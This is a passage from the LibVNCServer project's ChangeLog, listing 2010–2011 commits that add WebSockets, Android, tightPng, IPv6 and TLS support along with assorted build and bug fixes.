gmx.de> 1771 1772 2011-08-16 Gernot Tenchio <gernot.tenchio (a] securepoint.de> 1773 1774 * libvncserver/Makefile.am, libvncserver/rfbserver.c, 1775 libvncserver/rfbssl.h, libvncserver/rfbssl_none.c, 1776 libvncserver/sockets.c, libvncserver/websockets.c, rfb/rfb.h: 1777 websockets: Add encryption support [jes: moved out GnuTLS and OpenSSL support, added a dummy support, 1778 to separate changes better, and to keep things compiling] Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 1779 1780 2011-08-16 Joel Martin <jmartin (a] sentryds.com> 1781 1782 * libvncserver/websockets.c: websockets: Properly parse Hixie-76 1783 handshake. Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 1784 1785 2011-08-16 Joel Martin <github (a] martintribe.org> 1786 1787 * libvncserver/rfbserver.c, libvncserver/websockets.c: websockets: 1788 Add UTF-8 encoding support. This is not completely standard UTF-8 encoding. Only code points 1789 0-255 are encoded and never encoded to more than two octets. Since 1790 '\x00' is a WebSockets framing character, it's easier for all 1791 parties to encode zero as '\xc4\x80', i.e. 194+128, i.e. UTF-8 256. This means that a random stream will be slightly more than 50% 1792 larger using this encoding scheme. But it's easy CPU-wise for client 1793 and server to decode/encode. This is especially important for 1794 clients written in languages that have weak bitops, like Javascript 1795 (i.e. the noVNC client). Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 1796 1797 2011-08-16 Joel Martin <github (a] martintribe.org> 1798 1799 * libvncserver/rfbserver.c: websockets: Better disconnect detection. If the only thing we are waiting on is a WebSockets terminator, then 1800 remove it from the stream early on in rfbProcessClientNormalMessage. Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 1801 1802 2011-08-16 Joel Martin <github (a] martintribe.org> 1803 1804 * configure.ac, libvncserver/Makefile.am, libvncserver/md5.c, 1805 libvncserver/md5.h, libvncserver/rfbserver.c, 1806 libvncserver/sockets.c, libvncserver/websockets.c, rfb/rfb.h: 1807 websockets: Initial WebSockets support. Has a bug: WebSocket client disconnects are not detected. 1808 rfbSendFramebufferUpdate is doing a MSG_PEEK recv to determine if 1809 enough data is available which prevents a disconnect from being 1810 detected. Otherwise it's working pretty well. [jes: moved added struct members to the end for binary compatibility 1811 with previous LibVNCServer versions, removed an unused variable] Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 1812 1813 2011-08-17 Johannes Schindelin <johannes.schindelin (a] gmx.de> 1814 1815 * .gitignore: .gitignore: zippy has moved Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 1816 1817 2011-07-25 Christian Beier <dontmind (a] freeshell.org> 1818 1819 * examples/android/README: Add installation hints to android example 1820 README. 1821 1822 2011-07-22 William Roberts <wroberts (a] sta.samsung.com> 1823 1824 * examples/android/jni/fbvncserver.c: Reduced memory footprint by 1825 50% 1826 1827 2011-07-22 William Roberts <wroberts (a] sta.samsung.com> 1828 1829 * examples/android/jni/fbvncserver.c: Corrected resolution issue, 1830 but screen is getting reported as wrong size 1831 1832 2011-07-23 ckanru <ckanru (a] code.google.com> 1833 1834 * examples/android/jni/fbvncserver.c: Fixes running vncserver on 1835 beagleboard/0xdroid and possibly any device without a touch screen. 1836 Because fake touch screen always report zero when query device 1837 information, coordinates transformation is not needed. Signed-off-by: Christian Beier <dontmind (a] freeshell.org> 1838 1839 2011-07-23 Christian Beier <dontmind (a] freeshell.org> 1840 1841 * configure.ac, examples/Makefile.am, examples/android/Makefile.am, 1842 rfb/rfb.h, vncterm/Makefile.am: Adopt autotools build system to 1843 Android. LibVNCServer/LibVNCClient now build for Android! 1844 1845 2011-07-23 Christian Beier <dontmind (a] freeshell.org> 1846 1847 * examples/android/README, examples/android/jni/Android.mk, 1848 examples/android/jni/fbvncserver.c: Add androidvncserver example. 1849 1850 2011-07-22 letsgoustc <letsgoustc (a] gmail.com> 1851 1852 * rfb/rfb.h: Make LibVNCServer build for Android. Signed-off-by: Christian Beier <dontmind (a] freeshell.org> 1853 1854 2011-07-19 Joel Martin <github (a] martintribe.org> 1855 1856 * libvncserver/tight.c: tightPng: check even for SendGradientRect. Signed-off-by: Christian Beier <dontmind (a] freeshell.org> 1857 1858 2011-07-19 Joel Martin <github (a] martintribe.org> 1859 1860 * CMakeLists.txt, configure.ac, libvncserver/Makefile.am, 1861 libvncserver/rfbserver.c, libvncserver/stats.c, 1862 libvncserver/tight.c, rfb/rfb.h, rfb/rfbconfig.h.cmake, 1863 rfb/rfbproto.h: tightPng: Add initial tightPng encoding support. http://wiki.qemu.org/VNC_Tight_PNG Signed-off-by: Joel Martin <github (a] martintribe.org> Signed-off-by: 1864 Christian Beier <dontmind (a] freeshell.org> 1865 1866 2011-06-01 Christian Beier <dontmind (a] freeshell.org> 1867 1868 * libvncserver/main.c, libvncserver/sockets.c: Remove some unused 1869 variables. 1870 1871 2010-11-14 George Kiagiadakis <kiagiadakis.george (a] gmail.com> 1872 1873 * libvncserver/sockets.c, rfb/rfb.h: Fix rfbProcessNewConnection to 1874 return some value instead of void. BUG: 256891 Signed-off-by: Christian Beier <dontmind (a] freeshell.org> 1875 1876 2010-11-10 George Kiagiadakis <kiagiadakis.george (a] gmail.com> 1877 1878 * libvncserver/main.c, libvncserver/sockets.c, rfb/rfb.h: Split two 1879 event-loop related functions out of the rfbProcessEvents() 1880 mechanism. This is required to be able to do proper event loop integration with 1881 Qt. Idea was taken from vino's libvncserver fork. Signed-off-by: Christian Beier <dontmind (a] freeshell.org> 1882 1883 2011-05-06 Cristian Rodrguez <crrodriguez (a] opensuse.org> 1884 1885 * libvncserver/tightvnc-filetransfer/filetransfermsg.c: Fix buffer 1886 overflow Signed-off-by: Cristian Rodrguez <crrodriguez (a] opensuse.org> 1887 Signed-off-by: Christian Beier <dontmind (a] freeshell.org> 1888 1889 2011-04-30 Christian Beier <dontmind (a] freeshell.org> 1890 1891 * libvncserver/tight.c: Revert "Fix memory corruption bug." This reverts commit c1363fa9583ed41b94fbc79b3ff410b7d5189407. The proper fix was already in 1892 804335f9d296440bb708ca844f5d89b58b50b0c6. 1893 1894 2011-04-28 Johannes Schindelin <johannes.schindelin (a] gmx.de> 1895 1896 * AUTHORS: UTF-8ify AUTHORS Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 1897 1898 2011-04-28 Johannes Schindelin <johannes.schindelin (a] gmx.de> 1899 1900 * AUTHORS: Update AUTHORS Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 1901 1902 2010-11-10 George Kiagiadakis <kiagiadakis.george (a] gmail.com> 1903 1904 * libvncserver/tight.c: Fix memory corruption bug. This bug occured when a second telepathy tubes client was connected 1905 after the first one had disconnected and the channel (thus, the 1906 screen too) had been destroyed. Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 1907 1908 2010-11-10 George Kiagiadakis <kiagiadakis.george (a] gmail.com> 1909 1910 * common/zywrletemplate.c, libvncserver/auth.c, 1911 libvncserver/rfbserver.c, libvncserver/scale.c, 1912 libvncserver/scale.h, rfb/rfb.h: Fix compilation in c89 mode. Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 1913 1914 2011-04-27 Vic Lee <llyzs (a] 163.com> 1915 1916 * libvncclient/tls.c: Replace deprecated GnuTLS functions 1917 gnutls_*_set_priority with gnutls_priority_set_direct. The functions gnutls_*_set_priority we used were marked deprecated 1918 since latest GnuTLS version 2.12. However the replacement function 1919 gnutls_priority_set_direct is available since 2.2, which is even 1920 lower than our version requirement 2.4 in configure. The patch just 1921 replace the deprecate function to fix the compile warning. Signed-off-by: Vic Lee <llyzs (a] 163.com> Signed-off-by: Johannes 1922 Schindelin <johannes.schindelin (a] gmx.de> 1923 1924 2011-03-30 Christian Beier <dontmind (a] freeshell.org> 1925 1926 * ChangeLog: Update ChangeLog for 0.9.8. 1927 1928 2011-03-29 Christian Beier <dontmind (a] freeshell.org> 1929 1930 * README: Remove RDP from the README description. We do VNC but no RDP. Pointed out by Vic Lee, thanks! 1931 1932 2011-03-29 Christian Beier <dontmind (a] freeshell.org> 1933 1934 * utils/git2cl.pl: Fix skipping of merge commits in log convert 1935 script. 1936 1937 2011-03-29 Christian Beier <dontmind (a] freeshell.org> 1938 1939 * bdf2c.pl, consolefont2c.pl, utils/bdf2c.pl, 1940 utils/consolefont2c.pl, utils/git2cl.pl: Add a git-log to GNU-Style 1941 ChangeLog converter script. Also put all helper scripts into a utils directory. 1942 1943 2011-03-28 Christian Beier <dontmind (a] freeshell.org> 1944 1945 * NEWS: Mention the pkg-config stuff in NEWS. 1946 1947 2011-03-27 Vic Lee <llyzs (a] 163.com> 1948 1949 * .gitignore, Makefile.am, configure.ac, libvncclient.pc.in, 1950 libvncserver.pc.in: Add libvncserver.pc and libvncclient.pc files. Signed-off-by: Vic Lee <llyzs (a] 163.com> Signed-off-by: Christian 1951 Beier <dontmind (a] freeshell.org> 1952 1953 2011-03-17 Christian Beier <dontmind (a] freeshell.org> 1954 1955 * libvncclient/ultra.c, libvncserver/ultra.c: Fix regression in 1956 Ultra encoding introduced by commit 1957 fe1ca16e9b75b5f38ab374c8dfff92d2c3ea4532. My bad. There we see what the encodings test is good for ;-) 1958 1959 2011-03-17 Christian Beier <dontmind (a] freeshell.org> 1960 1961 * test/encodingstest.c: Update encodingstest. * Fixed segfault on shutdown. * Updated to test all encodings. * Fixed to operate with encodings that split up rects into smaller rects. 1962 1963 2011-03-17 Christian Beier <dontmind (a] freeshell.org> 1964 1965 * libvncclient/rfbproto.c: Remove useless comparisons that always 1966 evaluate to false. There can not be more than 255 security types and MSLogon is RFB 3.6 1967 only. 1968 1969 2011-03-17 Christian Beier <dontmind (a] freeshell.org> 1970 1971 * examples/rotate.c, examples/rotatetemplate.c, examples/vncev.c, 1972 libvncclient/listen.c, libvncclient/rfbproto.c, 1973 libvncclient/ultra.c, libvncclient/zrle.c, 1974 libvncserver/rfbserver.c, libvncserver/ultra.c: Fix (most) MinGW32 1975 compiler warnings. 1976 1977 2011-03-17 Christian Beier <dontmind (a] freeshell.org> 1978 1979 * examples/rotate.c, examples/zippy.c, libvncserver/zrle.c, 1980 libvncserver/zrleencodetemplate.c: Fix remaining compiler warnings. 1981 1982 2011-03-17 Christian Beier <dontmind (a] freeshell.org> 1983 1984 * VisualNaCro/nacro.c, examples/backchannel.c, examples/camera.c, 1985 examples/colourmaptest.c, examples/example.c, 1986 examples/filetransfer.c, examples/fontsel.c, examples/mac.c, 1987 examples/pnmshow.c, examples/pnmshow24.c, examples/simple.c, 1988 examples/simple15.c, examples/vncev.c, examples/zippy.c, 1989 test/cargstest.c, test/copyrecttest.c, test/cursortest.c, 1990 test/encodingstest.c: Check rfbGetScreen() return value everywhere. This fixes a segfault when a server is invoked with the '-help' 1991 commandline argument. 1992 1993 2011-03-12 Christian Beier <dontmind (a] freeshell.org> 1994 1995 * CMakeLists.txt, rfb/rfbconfig.h.cmake: CMake: Check for libgcrypt 1996 availability. 1997 1998 2011-03-12 Christian Beier <dontmind (a] freeshell.org> 1999 2000 * CMakeLists.txt: CMake: Threads can be available even if SDL is 2001 not. 2002 2003 2011-03-12 Christian Beier <dontmind (a] freeshell.org> 2004 2005 * CMakeLists.txt: CMake: fix building SDLvncviewer. 2006 2007 2011-03-12 Christian Beier <dontmind (a] freeshell.org> 2008 2009 * Makefile.am: Include cmake configure file templates in dist 2010 tarball. Signed-off-by: Christian Beier <dontmind (a] freeshell.org> 2011 2012 2011-03-12 Christian Beier <dontmind (a] freeshell.org> 2013 2014 * rfb/rfbconfig.h.in, rfb/stamp-h.in: Remove autogenerated files. 2015 2016 2011-03-12 Christian Beier <dontmind (a] freeshell.org> 2017 2018 * NEWS: Update NEWS for 0.9.8 release. 2019 2020 2011-03-07 Christian Beier <dontmind (a] freeshell.org> 2021 2022 * libvncclient/tls.c: Fix libvncclient TLS for Windows builds. GnuTLS seems to expect proper errno values internally. So set them 2023 in our custom push/pull functions. Parts of the patch stolen from 2024 libcurl, thanks! Signed-off-by: Christian Beier <dontmind (a] freeshell.org> 2025 2026 2011-03-07 Christian Beier <dontmind (a] freeshell.org> 2027 2028 * libvncclient/rfbproto.c: Let libvncclient build with gcrypt for 2029 MinGW32 builds. Signed-off-by: Christian Beier <dontmind (a] freeshell.org> 2030 2031 2011-03-07 Vic Lee <llyzs (a] 163.com> 2032 2033 * libvncclient/sockets.c: Use WaitForMessage instead of sleep in 2034 socket reading to fix performance issue. Signed-off-by: Christian Beier <dontmind (a] freeshell.org> 2035 2036 2011-03-10 Christian Beier <dontmind (a] freeshell.org> 2037 2038 * common/d3des.c, common/d3des.h, libvncserver/auth.c, 2039 libvncserver/corre.c, libvncserver/cutpaste.c, libvncserver/draw.c, 2040 libvncserver/font.c, libvncserver/hextile.c, libvncserver/httpd.c, 2041 libvncserver/rfbregion.c, libvncserver/rre.c, 2042 libvncserver/selbox.c, libvncserver/sockets.c, 2043 libvncserver/stats.c, libvncserver/tableinit24.c, 2044 libvncserver/tableinitcmtemplate.c, 2045 libvncserver/tableinittctemplate.c, 2046 libvncserver/tabletrans24template.c, 2047 libvncserver/tabletranstemplate.c, libvncserver/translate.c, 2048 libvncserver/zrletypes.h, rfb/rfbregion.h, test/blooptest.c, 2049 test/cursortest.c: Set proper file permissions for source files. 2050 2051 2011-03-10 Christian Beier <dontmind (a] freeshell.org> 2052 2053 * CMakeLists.txt, configure.ac: Next version will be 0.9.8. 2054 2055 2011-03-10 Christian Beier <dontmind (a] freeshell.org> 2056 2057 * Makefile.am, configure.ac, contrib/Makefile.am, contrib/zippy.c, 2058 examples/Makefile.am, examples/zippy.c: Move zippy.c to examples. 2059 2060 2011-03-03 Christian Beier <dontmind (a] freeshell.org> 2061 2062 * libvncclient/sockets.c, libvncclient/tls.c, libvncserver/httpd.c, 2063 libvncserver/rfbserver.c, libvncserver/sockets.c: Call 2064 WSAGetLastError() everywhere errno is read after a Winsock call. Winsock does NOT update errno for us, we have fetch the last error 2065 manually using WSAGetLastError(). 2066 2067 2011-01-29 Christian Beier <dontmind (a] freeshell.org> 2068 2069 * common/lzoconf.h, common/lzodefs.h, common/minilzo.c, 2070 common/minilzo.h, libvncclient/Makefile.am, 2071 libvncserver/Makefile.am: Update minilzo library used for Ultra 2072 encoding to ver 2.04. According to the minilzo README, this brings a significant speedup 2073 on 64-bit architechtures. Changes compared to old version 1.08 can be found here: 2074 http://www.oberhumer.com/opensource/lzo/lzonews.php Signed-off-by: Christian Beier <dontmind (a] freeshell.org> 2075 2076 2011-01-24 Christian Beier <dontmind (a] freeshell.org> 2077 2078 * libvncserver/corre.c, libvncserver/main.c, 2079 libvncserver/private.h, libvncserver/rfbserver.c, 2080 libvncserver/rre.c, libvncserver/ultra.c, rfb/rfb.h: libvncserver: 2081 Make RRE, CoRRE and Ultra encodings thread-safe. This adds generic before/after encoding buffers to the rfbClient 2082 struct, so there is no need for thread local storage. Signed-off-by: Christian Beier <dontmind (a] freeshell.org> 2083 2084 2011-02-02 Christian Beier <dontmind (a] freeshell.org> 2085 2086 * Makefile.am: Include CMakeLists.txt file in dist tarball. 2087 2088 2011-01-29 Christian Beier <dontmind (a] freeshell.org> 2089 2090 * .cvsignore, README.cvs, VisualNaCro/.cvsignore, 2091 classes/.cvsignore, client_examples/.cvsignore, contrib/.cvsignore, 2092 cvs_update_anonymously, examples/.cvsignore, 2093 libvncclient/.cvsignore, libvncserver/.cvsignore, 2094 libvncserver/tightvnc-filetransfer/.cvsignore, rfb/.cvsignore, 2095 test/.cvsignore, vncterm/.cvsignore: Remove unneeded files 2096 concerning CVS. We have a git repo nowadays and I guess we won't go back to CVS. Signed-off-by: Christian Beier <dontmind (a] freeshell.org> 2097 2098 2011-01-31 Johannes Schindelin <johannes.schindelin (a] gmx.de> 2099 2100 * examples/example.dsp, libvncserver.dsp, libvncserver.dsw: Remove 2101 completely broken Visual Studio project files If people seriously consider building with Visual Studio, there is 2102 always CMake. Pointed out by Christian Beier. Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 2103 2104 2011-01-31 Christian Beier <dontmind (a] freeshell.org> 2105 2106 * client_examples/Makefile.am, client_examples/SDLvncviewer.c: 2107 SDLvncviewer: fix compilation from dist tarball. Signed-off-by: Christian Beier <dontmind (a] freeshell.org> 2108 Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 2109 2110 2011-01-21 Vic Lee <llyzs (a] 163.com> 2111 2112 * acinclude.m4, configure.ac, libvncclient/rfbproto.c, 2113 rfb/rfbproto.h: Add ARD (Apple Remote Desktop) security type support Signed-off-by: Vic Lee <llyzs (a] 163.com> Signed-off-by: Christian 2114 Beier <dontmind (a] freeshell.org> 2115 2116 2011-01-25 Christian Beier <dontmind (a] freeshell.org> 2117 2118 * CMakeLists.txt, common/d3des.c, common/d3des.h, common/lzoconf.h, 2119 common/minilzo.c, common/minilzo.h, common/vncauth.c, 2120 common/zywrletemplate.c, libvncclient/Makefile.am, 2121 libvncclient/lzoconf.h, libvncclient/minilzo.c, 2122 libvncclient/minilzo.h, libvncclient/rfbproto.c, 2123 libvncclient/zrle.c, libvncserver/Makefile.am, 2124 libvncserver/d3des.c, libvncserver/d3des.h, libvncserver/lzoconf.h, 2125 libvncserver/minilzo.c, libvncserver/minilzo.h, 2126 libvncserver/vncauth.c, libvncserver/zywrletemplate.c: Put files 2127 used by both libs into a 'common' dir. No functional changes. All files used by _both_ libvncserver and 2128 libvncclient are put into a 'common' directory and references from 2129 other files as well as Autotools and CMake build systems are 2130 updated. Signed-off-by: Christian Beier <dontmind (a] freeshell.org> 2131 2132 2011-01-20 ebola_rulez <ebola_rulez (a] users.sourceforge.net> 2133 2134 * libvncserver/vncauth.c: Fix two errors found by cppcheck Signed-off-by: Vic Lee <llyzs (a] 163.com> Signed-off-by: Christian 2135 Beier <dontmind (a] freeshell.org> 2136 2137 2011-01-01 runge <runge (a] karlrunge.com> 2138 2139 * libvncserver/rfbserver.c: Remove never used protocol version name 2140 string. 2141 2142 2010-12-29 runge <runge (a] karlrunge.com> 2143 2144 * configure.ac, x11vnc/ChangeLog, x11vnc/Makefile.am, 2145 x11vnc/README, x11vnc/avahi.c, x11vnc/cleanup.c, 2146 x11vnc/connections.c, x11vnc/connections.h, x11vnc/help.c, 2147 x11vnc/inet.c, x11vnc/inet.h, x11vnc/macosx.c, x11vnc/macosxCG.c, 2148 x11vnc/macosxCG.h, x11vnc/macosx_opengl.c, x11vnc/macosx_opengl.h, 2149 x11vnc/options.c, x11vnc/options.h, x11vnc/rates.c, 2150 x11vnc/screen.c, x11vnc/ssltools.h, x11vnc/util.c, x11vnc/x11vnc.1, 2151 x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, 2152 x11vnc/xwrappers.c: x11vnc: Use opengl to read screen on macosx. 2153 non-deprecated macosx interfaces for input injection. 2154 2155 2010-12-21 runge <runge (a] karlrunge.com> 2156 2157 * configure.ac, prepare_x11vnc_dist.sh, x11vnc/README, 2158 x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: force 2159 --with-system-libvncserver to use correct headers. 2160 2161 2010-12-21 runge <runge (a] karlrunge.com> 2162 2163 * classes/ssl/ss_vncviewer, 2164 classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-cursor-colors+no-tab 2165 -traversal.patch, 2166 classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, 2167 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, 2168 prepare_x11vnc_dist.sh, x11vnc/8to24.c, x11vnc/ChangeLog, 2169 x11vnc/Makefile.am, x11vnc/README, x11vnc/RELEASE-NOTES, 2170 x11vnc/appshare.c, x11vnc/cleanup.c, x11vnc/gui.c, x11vnc/help.c, 2171 x11vnc/keyboard.c, x11vnc/keyboard.h, x11vnc/linuxfb.c, 2172 x11vnc/macosx.c, x11vnc/macosxCG.c, x11vnc/misc/Makefile.am, 2173 x11vnc/misc/README, x11vnc/misc/qt_tslib_inject.pl, 2174 x11vnc/misc/uinput.pl, x11vnc/pointer.c, x11vnc/remote.c, 2175 x11vnc/scan.c, x11vnc/screen.c, x11vnc/sslhelper.c, 2176 x11vnc/ssltools.h, x11vnc/uinput.c, x11vnc/uinput.h, 2177 x11vnc/unixpw.c, x11vnc/user.c, x11vnc/util.h, x11vnc/v4l.c, 2178 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, 2179 x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xevents.h, 2180 x11vnc/xrecord.c, x11vnc/xrecord.h, x11vnc/xwrappers.c: x11vnc: 2181 touchscreen uinput support and Java viewer mousewheel support. See 2182 x11vnc/ChangeLog for rest. 2183 2184 2010-12-01 Tobias Doerffel <tobias.doerffel (a] gmail.com> 2185 2186 * libvncserver/sockets.c: libvncserver sockets: check cl->screen 2187 before accessing it In commit 079394ca5b14d8067b95a9cf95a834828b4425a6 new code with 2188 insufficient checks was introduced causing a segfault when doing a 2189 HTTP server connection. Such connections have no screen set in the 2190 client data structure. Signed-off-by: Tobias Doerffel <tobias.doerffel (a] gmail.com> 2191 2192 2010-11-30 Christian Beier <dontmind (a] freeshell.org> 2193 2194 * Doxyfile: Doxygen documentation: actually add Doxyfile. 2195 2196 2010-11-29 Johannes Schindelin <johannes.schindelin (a] gmx.de> 2197 2198 * index.html, success.html: The website is now maintained 2199 independently Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 2200 2201 2010-11-18 Christian Beier <dontmind (a] freeshell.org> 2202 2203 * client_examples/SDLvncviewer.c, client_examples/backchannel.c, 2204 client_examples/ppmtest.c, client_examples/vnc2mpg.c, 2205 examples/backchannel.c, examples/camera.c, examples/example.c, 2206 examples/filetransfer.c, examples/pnmshow.c, examples/pnmshow24.c, 2207 examples/vncev.c, rfb/rfb.h, rfb/rfbclient.h, rfb/rfbproto.h: Add 2208 doxygen documentation support. Adds automagically generating libvncserver/libvncclient API documentation using doxygen. This gives a nice overview on both 2209 APIs, include dependencies and function call/caller 2210 dependencies. TODO: Modify all the explaining comments in the .c files for use 2211 with doxygen as well. This patch only changes comments, no functional changes at all! Signed-off-by: Christian Beier <dontmind (a] freeshell.org> 2212 2213 2010-11-18 Christian Beier <dontmind (a] freeshell.org> 2214 2215 * libvncserver/main.c: libvncserver: fix endless loop when server 2216 closed client in threaded mode. Signed-off-by: Christian Beier <dontmind (a] freeshell.org> 2217 2218 2010-11-18 Christian Beier <dontmind (a] freeshell.org> 2219 2220 * libvncserver/sockets.c: libvncserver sockets: favor per-screen 2221 maxclientwait over global one when set. Signed-off-by: Christian Beier <dontmind (a] freeshell.org> 2222 2223 2010-11-11 Christian Beier <dontmind (a] freeshell.org> 2224 2225 * libvncserver/rfbserver.c, libvncserver/stats.c, rfb/rfbproto.h: 2226 libvncserver cleanup: remove rfbKeyFrame remnants. 2227 2228 2010-11-02 Christian Beier <dontmind (a] freeshell.org> 2229 2230 * libvncclient/rfbproto.c, libvncserver/main.c, 2231 libvncserver/rfbserver.c, libvncserver/stats.c, rfb/rfb.h, 2232 rfb/rfbclient.h, rfb/rfbproto.h: libvnc[server|client]: implement 2233 xvp VNC extension. This implements the xvp VNC extension, which is described in the 2234 community version of the RFB protocol: 2235 http://tigervnc.sourceforge.net/cgi-bin/rfbproto It is also 2236 mentioned in the official RFB protocol. 2237 2238 2010-10-28 Tobias Doerffel <tobias.doerffel (a] gmail.com> 2239 2240 * libvncserver/main.c: Added missing initialization of extension 2241 mutex When not calling rfbRegisterProtocolExtension() the extension mutex 2242 is uninitialized but used upon calling rfbGetExtensionIterator() and 2243 rfbReleaseExtensionIterator() in rfbNewTCPOrUDPClient(). This causes 2244 libvncserver to crash on Win32 when building with thread support. Signed-off-by: Tobias Doerffel <tobias.doerffel (a] gmail.com> 2245 Signed-off-by: Christian Beier <dontmind (a] freeshell.org> 2246 2247 2010-10-21 Christian Beier <dontmind (a] freeshell.org> 2248 2249 * libvncclient/rfbproto.c, rfb/rfbproto.h: Only define strncasecmp 2250 to _strnicmp when using MS compiler. Redefining strncasecmp to _strnicmp makes libvncclient hang forever 2251 in SetFormatAndEncodings() on Windows when built with MinGW64. Reported by Tobias Doerffel <tobias.doerffel (a] gmail.com>, thanks! 2252 2253 2010-10-20 Tobias Doerffel <tobias.doerffel (a] gmail.com> 2254 2255 * libvncserver/rfbserver.c: In rfbSendDirContent() we have to make 2256 sure to call closedir() before returning. This did not happen if 2257 rfbSendFileTransferMessage() failed. Signed-off-by: Christian Beier <dontmind (a] freeshell.org> 2258 2259 2010-10-20 Christian Beier <dontmind (a] freeshell.org> 2260 2261 * libvncclient/sockets.c: Fix build failure wrt IP QoS support in 2262 libvncclient. This is a small addendum to 2263 0797e42a4aaf8131ae71899faea2d682ed81cb59. Seems that having IPv6 2264 support in the OS does not necessarily mean that IPV6_TCLASS is 2265 available. One such case seems to be Mac OS X 10.5. 2266 2267 2010-02-09 Vic Lee <llyzs (a] 163.com> 2268 2269 * libvncclient/sockets.c: Avoid 100% CPU usage when calling 2270 ReadFromRFBServer and no available bytes to read Signed-off-by: Vic Lee <llyzs (a] 163.com> Signed-off-by: Christian 2271 Beier <dontmind (a] freeshell.org> 2272 2273 2010-10-08 Christian Beier <dontmind (a] freeshell.org> 2274 2275 * rfb/rfbproto.h: rfb/rfbproto.h: Prefix WORDS_BIGENDIAN when it is 2276 defined. Some (all?) autotool versions do not properly prefix WORDS_BIGENDIAN 2277 with LIBVNCSERVER_, so do that manually here. Thanks to Lorenz Kolb for reporting. 2278 2279 2010-09-29 Christian Beier <dontmind (a] freeshell.org> 2280 2281 * TODO, libvncclient/rfbproto.c, libvncclient/sockets.c, 2282 libvncclient/vncviewer.c, rfb/rfbclient.h: IP QoS support in 2283 libvncclient. This enables setting the DSCP/Traffic Class field of IP/IPv6 packets 2284 sent by a client. For example starting a client with -qosdscp 184 2285 marks all outgoing traffic for expedited forwarding. Implementation for Win32 is still a TODO, though. See 2286 2287 http://betelco.blogspot.com/2009/03/dscp-marking-under-windows-at.htmlfor an overview of the Win32 QoS API mess... 2288 2289 2010-09-07 Christian Beier <dontmind (a] freeshell.org> 2290 2291 * TODO, libvncclient/sockets.c, libvncserver/httpd.c, 2292 libvncserver/rfbserver.c, libvncserver/sockets.c, rfb/rfb.h: 2293 Non-blocking sockets for Windows. Expands the SetNonBlocking() function in libvncclient/sockets.c to 2294 also work under Windows and also changes it to honour maybe already 2295 present socket flags. A similar function was introduced for libvncserver as well and all 2296 the #ifdef'ed fnctl calls replaced with calls to that one. Signed-off-by: Christian Beier <dontmind (a] freeshell.org> 2297 2298 2010-09-06 Christian Beier <dontmind (a] freeshell.org> 2299 2300 * libvncserver/main.c, libvncserver/rfbserver.c, 2301 libvncserver/scale.c: Cleanup: remove CORBA stuff. The header file and most of the functions referred to do not exist 2302 in libvncserver. Signed-off-by: Christian Beier <dontmind (a] freeshell.org> 2303 2304 2010-09-10 runge <runge (a] karlrunge.com> 2305 2306 * classes/ssl/ss_vncviewer, 2307 classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, 2308 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: update 2309 classes/ssl jars, patches, and script 2310 2311 2010-09-10 runge <runge (a] karlrunge.com> 2312 2313 * prepare_x11vnc_dist.sh, x11vnc/8to24.c, x11vnc/ChangeLog, 2314 x11vnc/Makefile.am, x11vnc/README, x11vnc/avahi.c, x11vnc/avahi.h, 2315 x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/help.c, 2316 x11vnc/inet.c, x11vnc/keyboard.c, x11vnc/misc/ultravnc_repeater.pl, 2317 x11vnc/options.c, x11vnc/options.h, x11vnc/pointer.c, 2318 x11vnc/pointer.h, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, 2319 x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/tkx11vnc, 2320 x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/user.c, 2321 x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 2322 x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xwrappers.c: update 2323 to x11vnc 0.9.12 2324 2325 2010-09-06 Christian Beier <dontmind (a] freeshell.org> 2326 2327 * libvncclient/rfbproto.c, libvncserver/tight.c: Fix MinGW32 2328 compilation with libjpeg. MinGW32 (or more exactly, a rpcndr.h file included by winsock2.h) 2329 typedefs a 'boolean' type that jmorecfg.h included by jpeglib.h also 2330 tries to typedef. So, tell the jpeg headers. Closes: 3007302 2331 2332 2010-07-11 Christian Beier <dontmind (a] freeshell.org> 2333 2334 * configure.ac, libvncclient/sockets.c: Fix MinGW32 checking for 2335 IPv6. Signed-off-by: Christian Beier <dontmind (a] freeshell.org> 2336 Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 2337 2338 2010-06-29 Vic Lee <llyzs (a] 163.com> 2339 2340 * configure.ac, libvncclient/rfbproto.c, libvncclient/sockets.c, 2341 rfb/rfbclient.h: libvncclient: add ipv6 support [jes: pulled the "host" declarations into the conditionally compiled 2342 blocks where that variable is used. Also fixed non-IPv6 2343 connections.] Signed-off-by: Vic Lee <llyzs (a] 163.com> Signed-off-by: Johannes 2344 Schindelin <johannes.schindelin (a] gmx.de> 2345 2346 2010-05-31 Wouter Van Meir <wouter.vanmeir (a] pandora.be> 2347 2348 * libvncclient/vncviewer.c: Call MallocFrameBuffer before 2349 SetFormatAndEncodings The hook is still called after InitialiseRFBConnection() so we can 2350 choose the color settings depending on the vnc server (or settings) 2351 in that hook. This way one can use the "VNC server default format" pixelformat if 2352 the client supports it, or perform a workaround 